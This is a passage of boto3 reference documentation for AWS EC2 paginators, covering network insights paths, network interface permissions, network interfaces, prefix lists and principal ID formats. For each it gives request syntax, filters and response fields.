codes](https://docs.aws.amazon.com/vpc/latest/reachability/explanation-codes.html) . + + - _(dict) --_ + + Describes an explanation code for an unreachable path. For more information, see [Reachability Analyzer explanation codes](https://docs.aws.amazon.com/vpc/latest/reachability/explanation-codes.html) . + + - **Acl** _(dict) --_ + + The network ACL. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **AclRule** _(dict) --_ + + The network ACL rule. + + - **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + - **PortRange** _(dict) --_ + + The range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number. + + - **Address** _(string) --_ + + The IPv4 address, in CIDR notation. + + - **Addresses** _(list) --_ + + The IPv4 addresses, in CIDR notation. + + - _(string) --_ + - **AttachedTo** _(dict) --_ + + The resource to which the component is attached. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **AvailabilityZones** _(list) --_ + + The Availability Zones. + + - _(string) --_ + - **Cidrs** _(list) --_ + + The CIDR ranges. + + - _(string) --_ + - **Component** _(dict) --_ + + The component. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **CustomerGateway** _(dict) --_ + + The customer gateway. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Destination** _(dict) --_ + + The destination. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **DestinationVpc** _(dict) --_ + + The destination VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Direction** _(string) --_ + + The direction. The following are possible values: + + - egress + - ingress + - **ExplanationCode** _(string) --_ + + The explanation code. + + - **IngressRouteTable** _(dict) --_ + + The route table. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **InternetGateway** _(dict) --_ + + The internet gateway. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **LoadBalancerArn** _(string) --_ + + The Amazon Resource Name (ARN) of the load balancer. + + - **ClassicLoadBalancerListener** _(dict) --_ + + The listener for a Classic Load Balancer. + + - **LoadBalancerPort** _(integer) --_ + + The port on which the load balancer is listening. + + - **InstancePort** _(integer) --_ + + [Classic Load Balancers] The back-end port for the listener. + + - **LoadBalancerListenerPort** _(integer) --_ + + The listener port of the load balancer. + + - **LoadBalancerTarget** _(dict) --_ + + The target. + + - **Address** _(string) --_ + + The IP address. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + - **Instance** _(dict) --_ + + Information about the instance. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Port** _(integer) --_ + + The port on which the target is listening. + + - **LoadBalancerTargetGroup** _(dict) --_ + + The target group. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **LoadBalancerTargetGroups** _(list) --_ + + The target groups. + + - _(dict) --_ + + Describes a path component. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **LoadBalancerTargetPort** _(integer) --_ + + The target port. + + - **ElasticLoadBalancerListener** _(dict) --_ + + The load balancer listener. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **MissingComponent** _(string) --_ + + The missing component. + + - **NatGateway** _(dict) --_ + + The NAT gateway. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **NetworkInterface** _(dict) --_ + + The network interface. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **PacketField** _(string) --_ + + The packet field. + + - **VpcPeeringConnection** _(dict) --_ + + The VPC peering connection. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Port** _(integer) --_ + + The port. + + - **PortRanges** _(list) --_ + + The port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **PrefixList** _(dict) --_ + + The prefix list. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Protocols** _(list) --_ + + The protocols. + + - _(string) --_ + - **RouteTableRoute** _(dict) --_ + + The route table route. + + - **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + - **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + - **RouteTable** _(dict) --_ + + The route table. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **SecurityGroup** _(dict) --_ + + The security group. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **SecurityGroupRule** _(dict) --_ + + The security group rule. + + - **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + - **Direction** _(string) --_ + + The direction. The following are possible values: + + - egress + - ingress + - **SecurityGroupId** _(string) --_ + + The security group ID. + + - **PortRange** _(dict) --_ + + The port range. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **PrefixListId** _(string) --_ + + The prefix list ID. + + - **Protocol** _(string) --_ + + The protocol name. + + - **SecurityGroups** _(list) --_ + + The security groups. + + - _(dict) --_ + + Describes a path component. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **SourceVpc** _(dict) --_ + + The source VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **State** _(string) --_ + + The state. + + - **Subnet** _(dict) --_ + + The subnet. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **SubnetRouteTable** _(dict) --_ + + The route table for the subnet. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Vpc** _(dict) --_ + + The component VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **VpcEndpoint** _(dict) --_ + + The VPC endpoint. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **VpnConnection** _(dict) --_ + + The VPN connection. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **VpnGateway** _(dict) --_ + + The VPN gateway. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **AlternatePathHints** _(list) --_ + + Potential intermediate components. + + - _(dict) --_ + + Describes an potential intermediate component of a feasible path. + + - **ComponentId** _(string) --_ + + The ID of the component. + + - **ComponentArn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Tags** _(list) --_ + + The tags. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeNetworkInsightsPaths + +paginator = client.get_paginator('describe_network_insights_paths') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_network_insights_paths()](#EC2.Client.describe_network_insights_paths "EC2.Client.describe_network_insights_paths"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInsightsPaths) + +**Request Syntax** + +response_iterator = paginator.paginate( + NetworkInsightsPathIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **NetworkInsightsPathIds** (_list_) -- + + The IDs of the paths. + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. The following are possible values: + + - Destination - The ID of the resource. + - DestinationPort - The destination port. + - Name - The path name. + - Protocol - The protocol. + - Source - The ID of the resource. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsPaths': [ + { + 'NetworkInsightsPathId': 'string', + 'NetworkInsightsPathArn': 'string', + 'CreatedDate': datetime(2015, 1, 1), + 'Source': 'string', + 'Destination': 'string', + 'SourceIp': 'string', + 'DestinationIp': 'string', + 'Protocol': 'tcp'|'udp', + 'DestinationPort': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkInsightsPaths** _(list) --_ + + Information about the paths. + + - _(dict) --_ + + Describes a path. + + - **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + - **NetworkInsightsPathArn** _(string) --_ + + The Amazon Resource Name (ARN) of the path. + + - **CreatedDate** _(datetime) --_ + + The time stamp when the path was created. + + - **Source** _(string) --_ + + The AWS resource that is the source of the path. + + - **Destination** _(string) --_ + + The AWS resource that is the destination of the path. + + - **SourceIp** _(string) --_ + + The IP address of the AWS resource that is the source of the path. + + - **DestinationIp** _(string) --_ + + The IP address of the AWS resource that is the destination of the path. + + - **Protocol** _(string) --_ + + The protocol. + + - **DestinationPort** _(integer) --_ + + The destination port. + + - **Tags** _(list) --_ + + The tags associated with the path. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeNetworkInterfacePermissions + +paginator = client.get_paginator('describe_network_interface_permissions') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_network_interface_permissions()](#EC2.Client.describe_network_interface_permissions "EC2.Client.describe_network_interface_permissions"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfacePermissions) + +**Request Syntax** + +response_iterator = paginator.paginate( + NetworkInterfacePermissionIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **NetworkInterfacePermissionIds** (_list_) -- + + One or more network interface permission IDs. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - network-interface-permission.network-interface-permission-id - The ID of the permission. + - network-interface-permission.network-interface-id - The ID of the network interface. + - network-interface-permission.aws-account-id - The AWS account ID. + - network-interface-permission.aws-service - The AWS service. + - network-interface-permission.permission - The type of permission (INSTANCE-ATTACH | EIP-ASSOCIATE ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfacePermissions': [ + { + 'NetworkInterfacePermissionId': 'string', + 'NetworkInterfaceId': 'string', + 'AwsAccountId': 'string', + 'AwsService': 'string', + 'Permission': 'INSTANCE-ATTACH'|'EIP-ASSOCIATE', + 'PermissionState': { + 'State': 'pending'|'granted'|'revoking'|'revoked', + 'StatusMessage': 'string' + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output for DescribeNetworkInterfacePermissions. + + - **NetworkInterfacePermissions** _(list) --_ + + The network interface permissions. + + - _(dict) --_ + + Describes a permission for a network interface. + + - **NetworkInterfacePermissionId** _(string) --_ + + The ID of the network interface permission. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **AwsAccountId** _(string) --_ + + The AWS account ID. + + - **AwsService** _(string) --_ + + The AWS service. + + - **Permission** _(string) --_ + + The type of permission. + + - **PermissionState** _(dict) --_ + + Information about the state of the permission. + + - **State** _(string) --_ + + The state of the permission. + + - **StatusMessage** _(string) --_ + + A status message, if applicable. + + +_class_ EC2.Paginator.DescribeNetworkInterfaces + +paginator = client.get_paginator('describe_network_interfaces') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - addresses.private-ip-address - The private IPv4 addresses associated with the network interface. + - addresses.primary - Whether the private IPv4 address is the primary IP address associated with the network interface. + - addresses.association.public-ip - The association ID returned when the network interface was associated with the Elastic IP address (IPv4). + - addresses.association.owner-id - The owner ID of the addresses associated with the network interface. + - association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - association.public-dns-name - The public DNS name for the network interface (IPv4). + - attachment.attachment-id - The ID of the interface attachment. + - attachment.attach-time - The time that the network interface was attached to an instance. + - attachment.delete-on-termination - Indicates whether the attachment is deleted when an instance is terminated. + - attachment.device-index - The device index to which the network interface is attached. + - attachment.instance-id - The ID of the instance to which the network interface is attached. + - attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - availability-zone - The Availability Zone of the network interface. + - description - The description of the network interface. + - group-id - The ID of a security group associated with the network interface. + - group-name - The name of a security group associated with the network interface. + - ipv6-addresses.ipv6-address - An IPv6 address associated with the network interface. + - mac-address - The MAC address of the network interface. + - network-interface-id - The ID of the network interface. + - owner-id - The AWS account ID of the network interface owner. + - private-ip-address - The private IPv4 address or addresses of the network interface. + - private-dns-name - The private DNS name of the network interface (IPv4). + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - requester-managed - Indicates whether the network interface is being managed by an AWS service (for example, AWS Management Console, Auto Scaling, and so on). + - source-dest-check - Indicates whether the network interface performs source/destination checking. A value of true means checking is enabled, and false means checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - status - The status of the network interface. If the network interface is not attached to an instance, the status is available ; if a network interface is attached to an instance the status is in-use . + - subnet-id - The ID of the subnet for the network interface. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the network interface. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaces': [ + { + 'Association': { + 'AllocationId': 'string', + 'AssociationId': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string', + 'CustomerOwnedIp': 'string', + 'CarrierIp': 'string' + }, + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'AvailabilityZone': 'string', + 'Description': 'string', + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'InterfaceType': 'interface'|'natGateway'|'efa', + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'MacAddress': 'string', + 'NetworkInterfaceId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Association': { + 'AllocationId': 'string', + 'AssociationId': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string', + 'CustomerOwnedIp': 'string', + 'CarrierIp': 'string' + }, + 'Primary': True|False, + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string' + }, + ], + 'RequesterId': 'string', + 'RequesterManaged': True|False, + 'SourceDestCheck': True|False, + 'Status': 'available'|'associated'|'attaching'|'in-use'|'detaching', + 'SubnetId': 'string', + 'TagSet': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeNetworkInterfaces. + + - **NetworkInterfaces** _(list) --_ + + Information about one or more network interfaces. + + - _(dict) --_ + + Describes a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + - **Attachment** _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + - **Description** _(string) --_ + + A description. + + - **Groups** _(list) --_ + + Any security groups for the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **InterfaceType** _(string) --_ + + The type of network interface. + + - **Ipv6Addresses** _(list) --_ + + The IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **MacAddress** _(string) --_ + + The MAC address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + - **PrivateIpAddresses** _(list) --_ + + The private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes the private IPv4 address of a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + - **RequesterId** _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + - **RequesterManaged** _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + - **SourceDestCheck** _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + - **Status** _(string) --_ + + The status of the network interface. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **TagSet** _(list) --_ + + Any tags assigned to the network interface. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +_class_ EC2.Paginator.DescribePrefixLists + +paginator = client.get_paginator('describe_prefix_lists') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_prefix_lists()](#EC2.Client.describe_prefix_lists "EC2.Client.describe_prefix_lists"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePrefixLists) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PrefixListIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. + + - prefix-list-id : The ID of a prefix list. + - prefix-list-name : The name of a prefix list. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PrefixListIds** (_list_) -- + + One or more prefix list IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixLists': [ + { + 'Cidrs': [ + 'string', + ], + 'PrefixListId': 'string', + 'PrefixListName': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **PrefixLists** _(list) --_ + + All available prefix lists. + + - _(dict) --_ + + Describes prefixes for AWS services. + + - **Cidrs** _(list) --_ + + The IP address range of the AWS service. + + - _(string) --_ + - **PrefixListId** _(string) --_ + + The ID of the prefix. + + - **PrefixListName** _(string) --_ + + The name of the prefix. + + +_class_ EC2.Paginator.DescribePrincipalIdFormat + +paginator = client.get_paginator('describe_principal_id_format') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_principal_id_format()](#EC2.Client.describe_principal_id_format "EC2.Client.describe_principal_id_format"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePrincipalIdFormat) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Resources=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Resources** (_list_) -- + + The type of resource: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where 